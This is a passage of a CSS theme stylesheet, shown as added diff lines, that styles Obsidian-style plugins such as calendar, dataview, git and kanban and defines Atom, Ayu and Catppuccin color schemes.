500; + text-transform: uppercase; + letter-spacing: 0.05em; + color: var(--text-muted); + font-size: var(--font-adaptive-smallest); +} + +body:not(.is-mobile) .nav-buttons-container { + justify-content: flex-start; +} + +.nav-file-tag { + padding-top: 0.2em; + background-color: transparent; + color: var(--text-faint); +} + +.nav-file:hover .nav-file-tag, +.nav-file .is-active .nav-file-tag { + color: var(--text-muted); +} + +input.prompt-input, +input.prompt-input:hover, +input.prompt-input:focus, +input.prompt-input:focus-visible { + border-color: rgba(var(--mono-rgb-100), 0.05); +} + +.is-mobile { + /* Mobile publish */ +} +.is-mobile .mod-publish .modal-content { + display: unset; + padding: 10px; + margin-bottom: 120px; + overflow-x: hidden; +} +.is-mobile .mod-publish .button-container, +.is-mobile .modal.mod-publish .modal-button-container { + padding: 10px 15px 30px; + margin-left: 0px; + left: 0; +} +.is-mobile .modal.mod-publish .modal-title { + padding: 10px 20px; + margin: 0 -10px; + border-bottom: 1px solid var(--background-modifier-border); +} +.is-mobile .publish-site-settings-container { + margin-right: 0; + padding: 0; +} +.is-mobile .modal.mod-publish .modal-content .publish-sections-container { + margin-right: 0; + padding-right: 0; +} +.is-mobile { + /* Phone */ +} +@media (max-width: 400pt) { + .is-mobile .publish-section-header, + .is-mobile .publish-changes-info { + flex-wrap: wrap; + border: none; + } + .is-mobile .publish-changes-info .publish-changes-add-linked-btn { + flex-basis: 100%; + margin-top: 10px; + } + .is-mobile .publish-section-header-text { + flex-basis: 100%; + margin-bottom: 10px; + margin-left: 20px; + margin-top: -8px; + } + .is-mobile .publish-section { + background: var(--background-secondary); + border-radius: 10px; + padding: 12px 12px 1px; + } + .is-mobile .publish-changes-switch-site { + flex-grow: 0; + margin-right: 10px; + } +} + +.release-notes-view .cm-scroller.is-readable-line-width { + width: var(--line-width); + max-width: var(--max-width); + margin: 0 auto; +} + +.search-results-info { + border-bottom: none; +} + +.workspace-leaf-content[data-type=sync] .tree-item.nav-folder .nav-folder-title { + color: var(--text-muted); + text-transform: uppercase; + letter-spacing: 0.05em; + font-size: var(--font-adaptive-smallest); + font-weight: 500; + margin-bottom: 4px; +} +.workspace-leaf-content[data-type=sync] .tree-item.nav-folder .nav-folder-title:hover { + color: var(--text-normal); +} +.workspace-leaf-content[data-type=sync] .tree-item.nav-folder.is-collapsed .nav-folder-title { + color: var(--text-faint); +} +.workspace-leaf-content[data-type=sync] .tree-item.nav-folder.is-collapsed .nav-folder-title:hover { + color: var(--text-muted); +} + +/* Community plugins */ +/* Calendar plugin */ +.workspace-leaf-content[data-type=calendar] .view-content { + padding: 5px 0 0; +} + +.mod-root #calendar-container { + width: var(--line-width); + max-width: var(--max-width); + margin: 0 auto; + padding: 0; +} + +body { + --calendar-dot-active: var(--text-faint); + --calendar-dot-today: var(--text-accent); +} + +#calendar-container { + padding: 0 var(--size-4-4) var(--size-4-1); + --color-background-day-empty:var(--background-secondary-alt); + --color-background-day-active:var(--background-modifier-hover); + --color-background-day-hover:var(--background-modifier-hover); + --color-dot:var(--text-faint); + --calendar-text-active: inherit; + --color-text-title:var(--text-normal); + --color-text-heading:var(--text-muted); + --color-text-day:var(--text-normal); + --color-text-today:var(--text-normal); + --color-arrow:var(--text-faint); + --color-background-day-empty:transparent; +} +#calendar-container .table { + border-collapse: separate; + table-layout: fixed; +} +#calendar-container h2 { + font-weight: 400; + font-size: var(--h2); +} +#calendar-container .arrow { + cursor: var(--cursor); + width: 22px; + border-radius: 4px; + padding: 3px 7px; +} +#calendar-container .arrow svg { + width: 12px; + height: 12px; + color: var(--text-faint); + opacity: 0.7; +} +#calendar-container .arrow:hover { + fill: var(--text-muted); + color: var(--text-muted); + background-color: var(--background-modifier-hover); +} +#calendar-container .arrow:hover svg { + color: var(--text-muted); + opacity: 1; +} +#calendar-container tr th { + padding: 2px 0 4px; + font-weight: 500; + letter-spacing: 0.1em; + font-size: var(--font-adaptive-smallest); +} +#calendar-container tr th:first-child { + padding-left: 0 !important; +} +#calendar-container tr td { + padding: 2px 0 0; + border-radius: var(--radius-m); + cursor: var(--cursor); + border: 1px solid transparent; + transition: none; +} +#calendar-container tr td:first-child { + padding-left: 0 !important; +} +#calendar-container .nav { + padding: 0; + margin: var(--size-4-2) var(--size-4-1); +} +#calendar-container .dot { + margin: 0; +} +#calendar-container .year, +#calendar-container .month, +#calendar-container .title { + font-size: calc(var(--font-adaptive-small) + 2px); + font-weight: 400; + color: var(--text-normal); +} +#calendar-container .today.active, +#calendar-container .today { + color: var(--text-accent); + font-weight: 600; +} +#calendar-container .today.active .dot, +#calendar-container .today .dot { + fill: var(--calendar-dot-today); +} +#calendar-container .active .task { + stroke: var(--text-faint); +} +#calendar-container .active { + color: var(--text-normal); +} +#calendar-container .reset-button { + text-transform: none; + letter-spacing: 0; + font-size: var(--font-adaptive-smaller); + font-weight: 500; + color: var(--text-muted); + border-radius: 4px; + margin: 0; + padding: 2px 8px; +} +#calendar-container .reset-button:hover { + color: var(--text-normal); + background-color: var(--background-modifier-hover); +} +#calendar-container .reset-button, +#calendar-container .week-num, +#calendar-container .day { + cursor: var(--cursor); +} +#calendar-container .day.adjacent-month { + color: var(--text-faint); + opacity: 1; +} +#calendar-container .day { + padding: 2px 4px 4px; + transition: none; +} +#calendar-container .day, +#calendar-container .week-num { + font-size: calc(var(--font-adaptive-smaller) + 5%); +} +#calendar-container .active, +#calendar-container .active.today, +#calendar-container .week-num:hover, +#calendar-container .day:hover { + background-color: var(--color-background-day-active); + color: var(--calendar-text-active); + transition: none; +} +#calendar-container .active .dot { + fill: var(--calendar-dot-active); +} + +/* Charts */ +.block-language-chart canvas, +.block-language-dataviewjs canvas { + margin: 1em 0; +} + +.theme-light, +.theme-dark { + --chart-color-1:var(--color-blue); + --chart-color-2:var(--color-red); + --chart-color-3:var(--color-yellow); + --chart-color-4:var(--color-green); + --chart-color-5:var(--color-orange); + --chart-color-6:var(--color-purple); + --chart-color-7:var(--color-cyan); + --chart-color-8:var(--color-pink); +} + +/* cMenu plugin */ +body #cMenuModalBar { + box-shadow: 0px 2px 20px var(--shadow-color); +} + +body #cMenuModalBar .cMenuCommandItem { + cursor: var(--cursor); +} + +body #cMenuModalBar button.cMenuCommandItem:hover { + background-color: var(--background-modifier-hover); +} + +.MiniSettings-statusbar-button { + padding-top: 0; + padding-bottom: 0; +} + +.MySnippets-statusbar-menu .menu-item .MS-OpenSnippet { + height: auto; + border: none; + background: transparent; + box-shadow: none; + width: auto; + padding: 4px 6px; + margin-left: 0; +} +.MySnippets-statusbar-menu .menu-item .MS-OpenSnippet svg path { + fill: var(--text-muted); +} +.MySnippets-statusbar-menu .menu-item .MS-OpenSnippet:hover { + background-color: var(--background-modifier-hover); +} + +/* Dataview plugin */ +/* inline lists */ +.dataview-inline-lists .markdown-source-view .dataview-ul, +.dataview-inline-lists .markdown-preview-view .dataview-ul { + --list-spacing: 0; +} +.dataview-inline-lists .markdown-source-view .dataview-ul li:not(:last-child):after, +.dataview-inline-lists .markdown-source-view .dataview-ol li:not(:last-child):after, +.dataview-inline-lists .markdown-preview-view .dataview-ul li:not(:last-child):after, +.dataview-inline-lists .markdown-preview-view .dataview-ol li:not(:last-child):after { + content: ", "; +} +.dataview-inline-lists .markdown-source-view ul.dataview-ul > li::before, +.dataview-inline-lists .markdown-source-view ul.dataview-ol > li::before, +.dataview-inline-lists .markdown-preview-view ul.dataview-ul > li::before, +.dataview-inline-lists .markdown-preview-view ul.dataview-ol > li::before { + display: none; +} +.dataview-inline-lists .markdown-source-view .dataview-ul li, +.dataview-inline-lists .markdown-source-view .dataview-ol li, +.dataview-inline-lists .markdown-preview-view .dataview-ul li, +.dataview-inline-lists .markdown-preview-view .dataview-ol li { + display: inline-block; + padding-inline-end: 0.25em; + margin-inline-start: 0; +} + +.markdown-rendered table.dataview { + margin-block-start: 0; + margin-block-end: 0; +} +.markdown-rendered table.dataview .dataview-result-list-li { + margin-inline-start: 0; +} + +body .table-view-table > thead > tr > th, +.markdown-preview-view .table-view-table > thead > tr > th { + font-weight: 400; + font-size: var(--table-text-size); + color: var(--text-muted); + border-bottom: var(--table-border-width) solid var(--table-border-color); + cursor: var(--cursor); +} + +table.dataview ul.dataview-ul { + list-style: none; + padding-inline-start: 0; + margin-block-start: 0em !important; + margin-block-end: 0em !important; +} + +.markdown-source-view.mod-cm6:not(.cards) .table-view-table > tbody > tr > td, +.markdown-preview-view:not(.cards) .table-view-table > tbody > tr > td { + max-width: var(--max-col-width); +} + +body .dataview.small-text { + color: var(--text-faint); +} + +/* Remove hover effect */ +body:not(.row-hover) .dataview.task-list-item:hover, +body:not(.row-hover) .dataview.task-list-basic-item:hover, +body:not(.row-hover) .table-view-table > tbody > tr:hover { + background-color: transparent !important; + box-shadow: none; +} + +body.row-hover .dataview.task-list-item:hover, +body.row-hover .dataview.task-list-basic-item:hover, +body.row-hover .table-view-table > tbody > tr:hover { + background-color: var(--table-row-background-hover); +} + +body .dataview-error { + background-color: transparent; +} + +.markdown-source-view.mod-cm6 .cm-content .dataview.dataview-error, +.dataview.dataview-error { + color: var(--text-muted); +} + +body div.dataview-error-box { + min-height: 0; + border: none; + background-color: transparent; + font-size: var(--table-text-size); + border-radius: var(--radius-m); + padding: 15px 0; + justify-content: flex-start; +} +body div.dataview-error-box p { + margin-block-start: 0; + margin-block-end: 0; + color: var(--text-faint); +} + +/* Trim columns feature */ +.trim-cols .markdown-source-view.mod-cm6 .table-view-table > tbody > tr > td, +.trim-cols .markdown-preview-view .table-view-table > tbody > tr > td, +.trim-cols .markdown-source-view.mod-cm6 .table-view-table > thead > tr > th { + white-space: nowrap; + text-overflow: ellipsis; + overflow: hidden; +} + +/* Lists */ +ul .dataview .task-list-item:hover, +ul .dataview .task-list-basic-item:hover { + background-color: transparent; + box-shadow: none; +} + +body .dataview.result-group { + padding-left: 0; +} + +/* Inline fields */ +body .dataview.inline-field-key, +body .dataview.inline-field-value, +body .dataview .inline-field-standalone-value { + font-family: var(--font-text); + font-size: calc(var(--font-adaptive-normal) - 2px); + background: transparent; + color: var(--text-muted); +} + +body .dataview.inline-field-key { + padding: 0; +} + +body .dataview .inline-field-standalone-value { + padding: 0; +} + +body .dataview.inline-field-key::after { + margin-left: 3px; + content: "|"; + color: var(--background-modifier-border); +} + +body .dataview.inline-field-value { + padding: 0 1px 0 3px; +} + +/* Calendar */ +.markdown-preview-view .block-language-dataview table.calendar th { + border: none; + cursor: default; + background-image: none; +} + +.markdown-preview-view .block-language-dataview table.calendar .day { + font-size: var(--font-adaptive-small); +} + +/* Git plugin */ +.git-view-body .opener { + text-transform: uppercase; + letter-spacing: 0.05em; + font-size: var(--font-adaptive-smallest); + font-weight: 500; + padding: 5px 7px 5px 10px; + margin-bottom: 6px; +} + +.git-view-body .file-view .opener { + text-transform: none; + letter-spacing: normal; + font-size: var(--font-adaptive-smallest); + font-weight: normal; + padding: initial; + margin-bottom: 0px; +} + +.git-view-body .file-view .opener .collapse-icon { + display: flex !important; + margin-left: -7px; +} + +.git-view-body { + margin-top: 6px; +} + +.git-view-body .file-view { + margin-left: 4px; +} + +.git-view-body .file-view main:hover { + color: var(--text-normal); +} + +.git-view-body .file-view .tools .type { + display: none !important; +} + +.git-view-body .file-view .tools { + opacity: 0; + transition: opacity 0.1s; +} + +.git-view-body .file-view main:hover > .tools { + opacity: 1; +} + +.git-view-body .staged { + margin-bottom: 12px; +} + +.git-view-body .opener.open { + color: var(--text-normal); +} + +div[data-type=git-view] .search-input-container { + margin-left: 0; + width: 100%; +} + +.git-view-body .opener .collapse-icon { + display: none !important; +} + +.git-view-body main { + background-color: var(--background-primary) !important; + width: initial !important; +} + +.git-view-body .file-view > main:not(.topLevel) { + margin-left: 7px; +} + +div[data-type=git-view] .commit-msg { + min-height: 2.5em !important; + height: 2.5em !important; + padding: 6.5px 8px !important; +} + +div[data-type=git-view] .search-input-clear-button { + bottom: 5.5px; +} + +/* Hider plugin */ +.hider-vault .nav-folder.mod-root > .nav-folder-title { + height: 4px; +} + +/* Kanban plugin */ +body.theme-dark, +body.minimal-dark-black.theme-dark, +body.minimal-dark-tonal.theme-dark, +body.minimal-light-white.theme-light, +body.minimal-light-tonal.theme-light { + --kanban-border:0px; +} + +body:not(.is-mobile) .kanban-plugin__grow-wrap > textarea:focus { + box-shadow: none; +} + +body:not(.minimal-icons-off) .kanban-plugin svg.cross { + height: 14px; + width: 14px; +} + +body .kanban-plugin__icon > svg, +body .kanban-plugin__lane-settings-button svg { + width: 18px; + height: 18px; +} +body .kanban-plugin { + --kanban-border:var(--border-width); + --interactive-accent:var(--text-selection); + --interactive-accent-hover:var(--background-modifier-hover); + --text-on-accent:var(--text-normal); + background-color: var(--background-primary); +} +body .kanban-plugin__markdown-preview-view { + font-family: var(--font-text); +} +body .kanban-plugin__board > div { + margin: 0 auto; +} +body .kanban-plugin__checkbox-label { + color: var(--text-muted); +} +body .kanban-plugin__item-markdown ul { + margin: 0; +} +body .kanban-plugin__item-content-wrapper { + box-shadow: none; +} +body .kanban-plugin__grow-wrap > textarea, +body .kanban-plugin__grow-wrap::after { + padding: 0; + border: 0; + border-radius: 0; +} +body .kanban-plugin__markdown-preview-view, +body .kanban-plugin__grow-wrap > textarea, +body .kanban-plugin__grow-wrap::after, +body .kanban-plugin__item-title p { + font-size: var(--font-ui-medium); + line-height: 1.3; +} +body .kanban-plugin__item { + background-color: var(--background-primary); +} +body .kanban-plugin__item-title-wrapper { + align-items: center; +} +body .kanban-plugin__lane-form-wrapper { + border: 1px solid var(--background-modifier-border); +} +body .kanban-plugin__lane-header-wrapper { + border-bottom: 0; +} +body .kanban-plugin__lane-title p, +body .kanban-plugin__lane-header-wrapper .kanban-plugin__grow-wrap > textarea, +body .kanban-plugin__lane-input-wrapper .kanban-plugin__grow-wrap > textarea { + background: transparent; + color: var(--text-normal); + font-size: var(--font-ui-medium); + font-weight: 500; +} +body .kanban-plugin__item-input-wrapper .kanban-plugin__grow-wrap > textarea { + padding: 0; + border-radius: 0; + height: auto; +} +body .kanban-plugin__item-form .kanban-plugin__grow-wrap { + background-color: var(--background-primary); +} +body .kanban-plugin__item-input-wrapper .kanban-plugin__grow-wrap > textarea::placeholder { + color: var(--text-faint); +} +body .kanban-plugin__lane button.kanban-plugin__lane-settings-button.is-enabled, +body .kanban-plugin__lane button.kanban-plugin__lane-settings-button, +body .kanban-plugin__item .kanban-plugin__item-edit-archive-button, +body .kanban-plugin__item button.kanban-plugin__item-edit-button, +body .kanban-plugin__item-settings-actions > button, +body .kanban-plugin__lane-action-wrapper > button { + background: transparent; + transition: color 0.1s ease-in-out; +} +body .kanban-plugin__item .kanban-plugin__item-edit-archive-button:hover, +body .kanban-plugin__item button.kanban-plugin__item-edit-button.is-enabled, +body .kanban-plugin__item button.kanban-plugin__item-edit-button:hover, +body .kanban-plugin__lane button.kanban-plugin__lane-settings-button.is-enabled, +body .kanban-plugin__lane button.kanban-plugin__lane-settings-button:hover { + color: var(--text-normal); + transition: color 0.1s ease-in-out; + background: transparent; +} +body .kanban-plugin__new-lane-button-wrapper { + position: fixed; + bottom: 30px; +} +body .kanban-plugin__lane-items > .kanban-plugin__placeholder:only-child { + border: 1px dashed var(--background-modifier-border); + height: 2em; +} +body .kanban-plugin__item-postfix-button-wrapper { + align-self: flex-start; +} +body .kanban-plugin__item button.kanban-plugin__item-prefix-button.is-enabled, +body .kanban-plugin__item button.kanban-plugin__item-postfix-button.is-enabled, +body .kanban-plugin__lane button.kanban-plugin__lane-settings-button.is-enabled { + color: var(--text-muted); +} +body .kanban-plugin button { + box-shadow: none; + cursor: var(--cursor); + height: auto; +} +body .kanban-plugin__item button.kanban-plugin__item-prefix-button:hover, +body .kanban-plugin__item button.kanban-plugin__item-postfix-button:hover, +body .kanban-plugin__lane button.kanban-plugin__lane-settings-button:hover { + background-color: var(--background-modifier-hover); +} +body .kanban-plugin__item-button-wrapper > button { + color: var(--text-muted); + font-weight: 400; + background: transparent; + min-height: calc(var(--input-height) + 8px); +} +body .kanban-plugin__item-button-wrapper > button:hover { + color: var(--text-normal); + background: var(--background-modifier-hover); +} +body .kanban-plugin__item-button-wrapper > button:focus { + box-shadow: none; +} +body .kanban-plugin__item-button-wrapper { + padding: 1px 6px 5px; + border-top: none; +} +body .kanban-plugin__lane-setting-wrapper > div:last-child { + border: none; + margin: 0; +} +body .kanban-plugin.something-is-dragging { + cursor: grabbing; +} +body .kanban-plugin__item.is-dragging { + box-shadow: 0 5px 30px rgba(0, 0, 0, 0.15), 0 0 0 2px var(--text-selection); +} +body .kanban-plugin__lane-items { + border: var(--kanban-border) solid var(--background-modifier-border); + padding: 0 4px; + margin: 0; + background-color: var(--background-secondary); +} +body .kanban-plugin__lane { + background: transparent; + padding: 0; + border: var(--border-width) solid transparent; +} +body .kanban-plugin__lane.is-dragging { + box-shadow: 0 5px 30px rgba(0, 0, 0, 0.15); + border: 1px solid var(--background-modifier-border); +} +body .kanban-plugin__lane .kanban-plugin__item-button-wrapper { + border-top-left-radius: 8px; + border-top-right-radius: 8px; + border-top: 1px solid var(--background-modifier-border); + border-bottom-width: 0; + padding: 4px 4px 0; +} +body .kanban-plugin__lane.will-prepend .kanban-plugin__lane-items { + border-radius: 8px; +} +body .kanban-plugin__lane.will-prepend .kanban-plugin__item-form { + border-top: 1px solid var(--background-modifier-border); + border-radius: 8px 8px 0 0; + padding: 4px 4px 0; + border-bottom-width: 0; +} +body .kanban-plugin__lane.will-prepend .kanban-plugin__item-form + .kanban-plugin__lane-items { + border-top-width: 0px; + border-radius: 0 0 8px 8px; +} +body .kanban-plugin__lane.will-prepend .kanban-plugin__item-button-wrapper + .kanban-plugin__lane-items { + border-top-width: 0px; + border-radius: 0 0 8px 8px; +} +body .kanban-plugin__lane:not(.will-prepend) .kanban-plugin__item-form, +body .kanban-plugin__lane:not(.will-prepend) .kanban-plugin__item-button-wrapper { + border-top: none; + border-radius: 0 0 8px 8px; +} +body .kanban-plugin__lane:not(.will-prepend) .kanban-plugin__item-button-wrapper { + padding: 0 4px 4px; + border-bottom-width: 1px; +} +body .kanban-plugin__lane:not(.will-prepend) .kanban-plugin__lane-items { + border-bottom: none; + border-top-width: 1px; + border-radius: 8px 8px 0 0; +} +body .kanban-plugin__item-form .kanban-plugin__item-input-wrapper { + min-height: calc(var(--input-height) + 8px); + display: flex; + justify-content: center; +} +body .kanban-plugin__item-form, +body .kanban-plugin__item-button-wrapper { + background-color: var(--background-secondary); + border: var(--kanban-border) solid var(--background-modifier-border); +} +body .kanban-plugin__item-form { + padding: 0 4px 5px; +} +body .kanban-plugin__markdown-preview-view ol.contains-task-list .contains-task-list, +body .kanban-plugin__markdown-preview-view ul.contains-task-list .contains-task-list, +body .kanban-plugin__markdown-preview-view ul, body .kanban-plugin__markdown-preview-view ol { + padding-inline-start: 1.8em !important; +} + +@media (max-width: 400pt) { + .kanban-plugin__board { + flex-direction: column !important; + } + .kanban-plugin__lane { + width: 100% !important; + margin-bottom: 1rem !important; + } +} +/* Lapel */ +body .cm-heading-marker { + cursor: var(--cursor); + padding-left: 10px; +} + +/* Sortable plugin */ +body .markdown-preview-view th, +body .table-view-table > thead > tr > th, +body .markdown-source-view.mod-cm6 .dataview.table-view-table thead.table-view-thead tr th { + cursor: var(--cursor); + background-image: none; +} + +/* Live preview */ +.markdown-source-view.mod-cm6 th { + background-repeat: no-repeat; + background-position: right; +} + +/* Style Settings preferences */ +.style-settings-container[data-level="2"] { + background: var(--background-secondary); + border: 1px solid var(--ui1); + border-radius: 5px; + padding: 10px 20px; + margin: 2px 0 2px -20px; +} + +.workspace-leaf-content[data-type=style-settings] div[data-id=instructions] .setting-item-name { + display: none; +} +.workspace-leaf-content[data-type=style-settings] div[data-id=instructions] .setting-item-description { + color: var(--text-normal); + font-size: var(--font-adaptive-smaller); + padding-bottom: 0.5em; +} +.workspace-leaf-content[data-type=style-settings] .view-content { + padding: var(--size-4-4) 0; +} +.workspace-leaf-content[data-type=style-settings] .view-content > div { + width: var(--line-width); + max-width: var(--max-width); + margin: 0 auto; +} +.workspace-leaf-content[data-type=style-settings] .style-settings-heading[data-level="0"] .setting-item-name { + padding-left: 17px; +} +.workspace-leaf-content[data-type=style-settings] .setting-item { + max-width: 100%; + margin: 0 auto; + border: none; +} +.workspace-leaf-content[data-type=style-settings] .setting-item-name { + position: relative; +} +.workspace-leaf-content[data-type=style-settings] .style-settings-collapse-indicator { + position: absolute; + left: 0; +} + +.setting-item-heading.style-settings-heading, +.style-settings-container .style-settings-heading { + cursor: var(--cursor); +} + +.modal.mod-settings .setting-item .pickr button.pcr-button { + box-shadow: none; + border-radius: 40px; + height: 24px; + width: 24px; +} + +.style-settings-container .setting-item { + background-color: transparent; +} + +.setting-item .pickr .pcr-button:after, +.setting-item .pickr .pcr-button:before { + border-radius: 40px; + box-shadow: none; + border: none; +} +.setting-item.setting-item-heading.style-settings-heading.is-collapsed { + border-bottom: 1px solid var(--background-modifier-border); +} +.setting-item.setting-item-heading.style-settings-heading { + border: 0; + padding: 10px 0 5px; + margin-bottom: 0; + border-radius: 0; +} +.setting-item .style-settings-import, +.setting-item .style-settings-export { + text-decoration: none; + font-size: var(--font-ui-small); + font-weight: 500; + color: var(--text-muted); + margin: 0; + padding: 2px 8px; + border-radius: 5px; + cursor: var(--cursor); +} +.setting-item .style-settings-import:hover, +.setting-item .style-settings-export:hover { + background-color: var(--background-modifier-hover); + color: var(--text-normal); + cursor: var(--cursor); +} + +.mod-root .workspace-leaf-content[data-type=style-settings] .style-settings-container .setting-item:not(.setting-item-heading) { + flex-direction: row; + align-items: center; + padding: 0.5em 0; +} + +.workspace-split:not(.mod-root) .workspace-leaf-content[data-type=style-settings] .setting-item-name { + font-size: var(--font-adaptive-smaller); +} + +.themed-color-wrapper > div + div { + margin-top: 0; + margin-left: 6px; +} + +.theme-light .themed-color-wrapper > .theme-light { + background-color: transparent; +} +.theme-light .themed-color-wrapper > .theme-dark { + background-color: rgba(0, 0, 0, 0.8); +} + +.theme-dark .themed-color-wrapper > .theme-dark { + background-color: transparent; +} + +@media (max-width: 400pt) { + .workspace-leaf-content[data-type=style-settings] .setting-item-name { + font-size: var(--font-adaptive-small); + } + .workspace-leaf-content[data-type=style-settings] .view-content > .setting-item > .setting-item-info:first-child { + width: 100%; + margin-right: 0; + } +} +.zoom-plugin-header { + --link-color: var(--text-normal); + --link-decoration: none; + font-size: var(--font-ui-small); + padding: 0; + justify-content: center; + margin: var(--size-4-2) auto; + max-width: var(--max-width); +} +.zoom-plugin-header > .zoom-plugin-title { + text-decoration: none; + max-width: 15em; + overflow: hidden; +} +.zoom-plugin-header > .zoom-plugin-delimiter { + color: var(--text-faint); + padding: 0 var(--size-4-1); +} + +/* Color schemes */ +/* Atom */ +.theme-dark.minimal-atom-dark { + --color-red-rgb: 225,109,118; + --color-orange-rgb: 209,154,102; + --color-yellow-rgb: 206,193,103; + --color-green-rgb: 152,195,121; + --color-cyan-rgb: 88,182,194; + --color-blue-rgb: 98,175,239; + --color-purple-rgb: 198,120,222; + --color-pink-rgb: 225,109,118; + --color-red:#e16d76; + --color-orange:#d19a66; + --color-yellow:#cec167; + --color-green:#98c379; + --color-cyan:#58b6c2; + --color-blue:#62afef; + --color-purple:#c678de; + --color-pink:#e16d76; +} + +.theme-light.minimal-atom-light { + --color-red-rgb: 228,87,73; + --color-orange-rgb: 183,107,2; + --color-yellow-rgb: 193,131,2; + --color-green-rgb: 80,161,80; + --color-cyan-rgb: 13,151,179; + --color-blue-rgb: 98,175,239; + --color-purple-rgb: 166,38,164; + --color-pink-rgb: 228,87,73; + --color-red:#e45749; + --color-orange:#b76b02; + --color-yellow:#c18302; + --color-green:#50a150; + --color-cyan:#0d97b3; + --color-blue:#62afef; + --color-purple:#a626a4; + --color-pink:#e45749; + --base-h:106; + --base-s:0%; + --base-l:98%; + --accent-h:231; + --accent-s:76%; + --accent-l:62%; + --bg1:#fafafa; + --bg2:#eaeaeb; + --bg3:rgba(0,0,0,.1); + --ui1:#dbdbdc; + --ui2:#d8d8d9; + --tx1:#232324; + --tx2:#8e8e90; + --tx3:#a0a1a8; + --hl1:rgba(180,180,183,0.3); + --hl2:rgba(209,154,102,0.35); +} + +.theme-light.minimal-atom-light.minimal-light-white { + --bg3:#eaeaeb; +} + +.theme-light.minimal-atom-light.minimal-light-contrast .titlebar, +.theme-light.minimal-atom-light.minimal-light-contrast.minimal-status-off .status-bar, +.theme-light.minimal-atom-light.minimal-light-contrast .workspace-drawer.mod-left, +.theme-light.minimal-atom-light.minimal-light-contrast .mod-left-split, +.theme-light.minimal-atom-light.minimal-light-contrast .workspace-ribbon.mod-left:not(.is-collapsed), +.theme-light.minimal-atom-light.minimal-light-contrast .theme-dark, +.theme-dark.minimal-atom-dark { + --base-h:220; + --base-s:12%; + --base-l:18%; + --accent-h:220; + --accent-s:86%; + --accent-l:65%; + --bg1:#282c34; + --bg2:#21252c; + --bg3:#3a3f4b; + --divider-color:#181a1f; + --tab-outline-color:#181a1f; + --tx1:#d8dae1; + --tx2:#898f9d; + --tx3:#5d6370; + --hl1:rgba(114,123,141,0.3); + --hl2:rgba(209,154,102,0.3); + --sp1:#ffffff; +} + +.theme-dark.minimal-atom-dark.minimal-dark-black { + --base-d:5%; + --bg3:#282c34; + --divider-color:#282c34; + --tab-outline-color:#282c34; +} + +/* +ayu +MIT License +Copyright (c) Konstantin Pschera (kons.ch) +https://github.com/ayu-theme/ayu-colors +*/ +.theme-light.minimal-ayu-light { + --color-red-rgb: 230,80,80; + --color-orange-rgb: 250,141,62; + --color-yellow-rgb: 242,174,73; + --color-green-rgb: 108,191,67; + --color-cyan-rgb: 76,191,153; + --color-blue-rgb: 57,158,230; + --color-purple-rgb: 163,122,204; + --color-pink-rgb: 255,115,131; + --color-red:#e65050; + --color-orange:#fa8d3e; + --color-yellow:#f2ae49; + --color-green:#6CBF43; + --color-cyan:#4cbf99; + --color-blue:#399ee6; + --color-purple:#a37acc; + --color-pink:#ff7383; + --base-h:210; + --base-s:17%; + --base-l:98%; + --accent-h:36; + --accent-s:100%; + --accent-l:50%; + --bg1:#ffffff; + --bg2:#f8f9fa; + --bg3:rgba(209,218,224,0.5); + --ui1:#E6EAED; + --tx1:#5C6165; + --tx2:#8A9199; + --tx3:#AAAEB0; + --hl1:rgba(3,91,214,0.15); +} + +.theme-dark.minimal-ayu-dark { + --color-red-rgb: 255,102,102; + --color-orange-rgb: 250,173,102; + --color-yellow-rgb: 255,209,55; + --color-green-rgb: 135,217,108; + --color-cyan-rgb: 149,230,203; + --color-blue-rgb: 115,208,255; + --color-purple-rgb: 223,191,255; + --color-pink-rgb: 242,121,131; + --color-red:#ff6666; + --color-orange:#ffad66; + --color-yellow:#ffd137; + --color-green:#87D96C; + --color-cyan:#95e6cb; + --color-blue:#73d0ff; + --color-purple:#dfbfff; + --color-pink:#f27983; +} + +.theme-light.minimal-ayu-light.minimal-light-contrast .titlebar, +.theme-light.minimal-ayu-light.minimal-light-contrast.minimal-status-off .status-bar, +.theme-light.minimal-ayu-light.minimal-light-contrast .workspace-drawer.mod-left, +.theme-light.minimal-ayu-light.minimal-light-contrast .mod-left-split, +.theme-light.minimal-ayu-light.minimal-light-contrast .workspace-ribbon.mod-left:not(.is-collapsed), +.theme-light.minimal-ayu-light.minimal-light-contrast .theme-dark, +.theme-dark.minimal-ayu-dark { + --base-h:222; + --base-s:22%; + --base-l:15%; + --accent-h:35; + --accent-s:100%; + --accent-l:60%; + --bg1:#232937; + --bg2:#1E2431; + --bg3:rgba(51,61,80,0.5); + --ui1:#333C4A; + --ui2:#333C4A; + --ui3:#333C4A; + --tx1:#cccac2; + --tx2:#707A8C; + --tx3:#495063; + --hl1:rgba(64,159,255,0.25); +} + +.theme-dark.minimal-ayu-dark.minimal-dark-black { + --accent-h:40; + --accent-s:75%; + --accent-l:61%; + --bg3:#0E1017; + --tx1:#BFBDB6; + --divider-color:#11151C; + --tab-outline-color:#11151C; +} + +/* +Catppuccin +MIT License +Copyright (c) 2021 Catppuccin +https://github.com/catppuccin/catppuccin +*/ +.theme-light.minimal-catppuccin-light { + --color-red-rgb: 230,69,83; + --color-orange-rgb: 254,100,12; + --color-yellow-rgb: 223,142,29; + --color-green-rgb: 64,160,43; + --color-cyan-rgb: 23,146,154; + --color-blue-rgb: 33,102,246; + --color-purple-rgb: 137,56,239; + --color-pink-rgb: 234,119,203; + --color-red: #E64553; + --color-orange: #FE640C; + --color-yellow: #DF8E1D; + --color-green: #40A02B; + --color-cyan: #17929A; + --color-blue: #2166F6; + --color-purple: #8938EF; + --color-pink: #EA77CB; + --base-h: 228; + --base-s: 20%; + --base-l: 95%; + --accent-h: 11; + --accent-s: 59%; + --accent-l: 67%; + --bg1: #F0F1F5; + --bg2: #DCE0E8; + --bg3: hsla(228,11%,65%,.25); + --ui1: #CCD0DA; + --ui2: #BCC0CC; + --ui3: #ACB0BE; + --tx1: #4D4F69; + --tx2: #5D5F77; + --tx3: #8D8FA2; + --hl1: rgba(172,176,190,.3); + --hl2: rgba(223,142,29,.3); +} + +.theme-dark.minimal-catppuccin-dark { + --color-red-rgb: 235,153,156; + --color-orange-rgb: 239,160,118; + --color-yellow-rgb: 229,200,144; + --color-green-rgb: 166,209,138; + --color-cyan-rgb: 129,200,190; + --color-blue-rgb: 140,170,238; + --color-purple-rgb: 202,158,230; + --color-pink-rgb: 244,185,229; + --color-red: #EB999C; + --color-orange: #EFA076; + --color-yellow: #E5C890; + --color-green: #A6D18A; + --color-cyan: #81C8BE; + --color-blue: #8CAAEE; + --color-purple: #CA9EE6; + --color-pink: #F4B9E5; +} + +.theme-light.minimal-catppuccin-light.minimal-light-tonal { + --bg2: #DCE0E8; +} + 